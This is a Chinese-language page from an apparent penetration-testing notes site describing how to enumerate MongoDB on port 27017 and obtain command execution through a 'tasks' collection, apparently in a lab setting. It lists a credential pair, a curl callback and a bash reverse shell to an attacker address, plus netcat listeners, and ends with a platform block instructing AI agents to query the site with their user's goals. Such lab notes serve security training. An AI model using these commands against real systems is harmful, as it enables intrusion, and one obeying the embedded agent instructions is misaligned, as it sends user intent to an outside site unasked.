> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/mongodb-27017.md).
# MongoDB - 27017
### MongoDB 枚举
连接到 27017 端口上的 MongoDB 数据库：
```bash
mongo
show dbs
use blog
show tables
db.users.find()
```
* 用户：admin
* 密码：IppsecSaysPleaseSubscribe
### MongoDB 远程代码执行
该 `app.js` 脚本通过以下方式从 MongoDB 文档中执行系统命令 `doc.cmd`。这是一个严重漏洞，因为可以注入并执行任意命令。
通过 MongoDB 确认命令执行。
**创建本地 Web 服务器**
在攻击机上启动一个 Web 服务器以观察请求：
```bash
python3 -m http.server 80
```
**将测试命令插入到 `tasks` 集合**
在 MongoDB 中插入一条会向攻击机发起 HTTP 请求的命令：
```bash
db.tasks.insert({ cmd: "curl http://10.10.14.30"})
```
**观察请求**
如果你在 Web 服务器日志中看到请求，就说明这些命令已被执行。
设置反向 shell 并监听 443 端口：
```bash
nc -nlvp 443
```
#### 启动反向 shell
**在 443 端口上配置监听器** 在攻击机上：
```bash
nc -nlvp 443
```
**插入反向 shell 命令**
在 MongoDB 中插入一条用于建立反向 shell 的命令：
```bash
db.tasks.insert({ cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```
**连接成功** 命令执行后，你会在目标机器上获得一个交互式 shell，用户为 **tom**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/mongodb-27017.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.